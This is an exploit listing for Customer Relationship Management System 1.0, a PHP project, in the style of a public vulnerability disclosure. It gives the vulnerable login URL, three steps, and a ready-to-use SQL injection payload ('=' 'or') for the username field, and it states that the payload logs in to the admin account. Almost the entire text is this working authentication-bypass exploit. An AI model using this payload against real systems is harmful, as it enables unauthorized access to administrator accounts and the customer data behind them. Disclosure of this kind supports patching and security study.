Customer Relationship Management System (CRM) 1.0 - Sql Injection Authentication Bypass

# Exploit Title: Customer Relationship Management System (CRM) 1.0 - Sql Injection Authentication Bypass
# Date: 27/07/2021
# Exploit Author: Shafique_Wasta
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/crm_0.zip
# Version: 1
# Tested on: Windows 10/xampp

# DESCRIPTION #

# Customer relationship management system is vulnerable to Sql Injection Auth Bypass

# Exploit Working:
# 1. Visit on localhostcrm/customer/login.php
# 2. You will see the login panel
# 3. use this payload ( '=' 'or' ) in username and click on signin you will login into the admin account.

# Vulnerable URL :http://localhost/crm/customer/login.php
# Payload: '=' 'or'